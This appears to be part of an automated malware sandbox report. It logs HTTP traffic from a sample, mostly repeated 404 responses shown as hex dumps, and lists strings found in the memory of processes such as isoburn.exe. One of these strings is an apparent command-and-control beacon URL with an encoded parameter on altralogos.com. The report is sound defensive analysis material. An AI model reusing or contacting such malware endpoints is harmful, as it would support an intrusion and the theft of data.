32 38 2d 38 2e 39 39 20 32 30 2e 36 2d 33 2e 38 37 20 36 2e 33 33 2d 38 2e 34 35 20 31 31 2e 39 39 2d 31 33 2e 37 34 20 31 36 2e 39 39 2d 35 2e 32 39 20 35 2d 31 31 2e 30 37 20 39 2e 32 38 2d 31 37 2e 33 35 20 31 32 2e 38 31 61 38 35 2e 31 34 36 20 38 35 2e 31 34 36 20 30 20 30 20 31 2d 32 30 2e 30 34 20 38 2e 31 34 20 38 33 2e 36 33 37 20 38 33 2e 36 33 37 20 30 20 30 20 31 2d 32 31 2e 36 37 20 32 2e 38 33 48 33 31 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:17 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:20 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:23 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:26 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 08 Dec 2023 13:52:32 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2023-12-08T13:52:37.4097576Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 08 Dec 2023 13:52:35 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 18X-Rate-Limit-Reset: 2023-12-08T13:52:37.4097576Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 08 Dec 2023 13:52:38 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2023-12-08T13:52:43.0141623Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Fri, 08 Dec 2023 13:52:40 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2023-12-08T13:52:45.7508499Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:47 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:49 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:52 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:52:55 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:53:01 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://altralogos.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 09 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 4d 53 49 6e 70 75 74 4d 65 74 68 6f 64 43 6f 6e 74 65 78 74 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 6a 73 2f 6c 69 62 73 2f 69 65 31 31 43 75 73 74 6f 6d 50 72 6f 70 65 72 74 69 65 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 31 39 2e 32 2e 31 20 28 59 6f 61 73 74 20 53 45 4f 20 76 31 39 2e 36 2e 31 29 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 5f 52 55 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:53:05 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://altralogos.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 09 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 4d 53 49 6e 70 75 74 4d 65 74 68 6f 64 43 6f 6e 74 65 78 74 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 6a 73 2f 6c 69 62 73 2f 69 65 31 31 43 75 73 74 6f 6d 50 72 6f 70 65 72 74 69 65 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 31 39 2e 32 2e 31 20 28 59 6f 61 73 74 20 53 45 4f 20 76 31 39 2e 36 2e 31 29 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 5f 52 55 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 08 Dec 2023 13:53:07 GMTServer: ApacheX-Powered-By: PHP/7.4.33Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://altralogos.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 09 09 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 4d 53 49 6e 70 75 74 4d 65 74 68 6f 64 43 6f 6e 74 65 78 74 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 4d 6f 64 65 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 61 6c 74 72 61 6c 6f 67 6f 73 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 77 6f 6f 64 6d 61 72 74 2f 6a 73 2f 6c 69 62 73 2f 69 65 31 31 43 75 73 74 6f 6d 50 72 6f 70 65 72 74 69 65 73 2e 6d 69 6e 2e 6a 73 22 3e 3c 5c 2f 73 63 72 69 70 74 3e 27 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 50 72 65 6d 69 75 6d 20 70 6c 75 67 69 6e 20 76 31 39 2e 32 2e 31 20 28 59 6f 61 73 74 20 53 45 4f 20 76 31 39 2e 36 2e 31 29 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 72 75 5f 52 55 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 d0 a1 d1 82 d1 80 d0 b0 d0 bd d0 b8 d1 86 d0 b0 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd d0 b0 20 7c 20 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 41 6c 74 72 61 6c 6f 67 6f 73 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6c 6

Source: isoburn.exe, 00000004.00000002.4122089347.00000000061CC000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003C5C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://altralogos.com/ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
